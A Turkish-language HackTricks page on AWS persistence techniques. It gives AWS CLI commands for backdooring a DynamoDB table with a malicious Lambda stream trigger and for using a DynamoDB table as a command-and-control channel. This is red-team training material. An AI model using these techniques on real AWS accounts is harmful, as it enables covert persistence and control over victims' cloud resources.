AWS - DynamoDB Persistence

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

DynamoDB

Daha fazla bilgi için erişim sağlayın:

https://github.com/carlospolop/hacktricks-cloud/blob/tr/pentesting-cloud/aws-security/aws-hizmetleri/aws-veritabanları/aws-dynamodb-enum.md

Lambda Arka Kapı ile DynamoDB Tetikleyicileri

DynamoDB tetikleyicilerini kullanarak, saldırgan bir tabloya kötü niyetli bir Lambda işlevi atayarak gizli bir arka kapı oluşturabilir. Lambda işlevi, bir öğe eklenir, değiştirilir veya silindiğinde tetiklenebilir, bu da saldırganın AWS hesabı içinde keyfi kodu yürütmesine olanak tanır.

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

Kalıcılığı sürdürmek için saldırgan, DynamoDB tablosunda öğeler oluşturabilir veya değiştirebilir, bu da kötü niyetli Lambda işlevini tetikler. Bu, saldırganın Lambda işleviyle doğrudan etkileşim olmaksızın AWS hesabı içinde kodu yürütmesine olanak tanır.

DynamoDB Bir C2 Kanalı Olarak

Bir saldırgan, komutları içeren öğeler oluşturarak ve bu komutları almak ve yürütmek için etkilenmiş örnekler veya Lambda işlevleri kullanarak DynamoDB tablosunu bir komut ve kontrol (C2) kanalı olarak kullanabilir.

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>

Kompromize edilen örnekler veya Lambda fonksiyonları, yeni komutları kontrol etmek için C2 tablosunu periyodik olarak kontrol edebilir, bunları gerçekleştirebilir ve isteğe bağlı olarak sonuçları tabloya rapor edebilir. Bu, saldırganın kompromize edilen kaynaklar üzerinde süreklilik ve kontrol sağlamasını sağlar.

AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

Last updated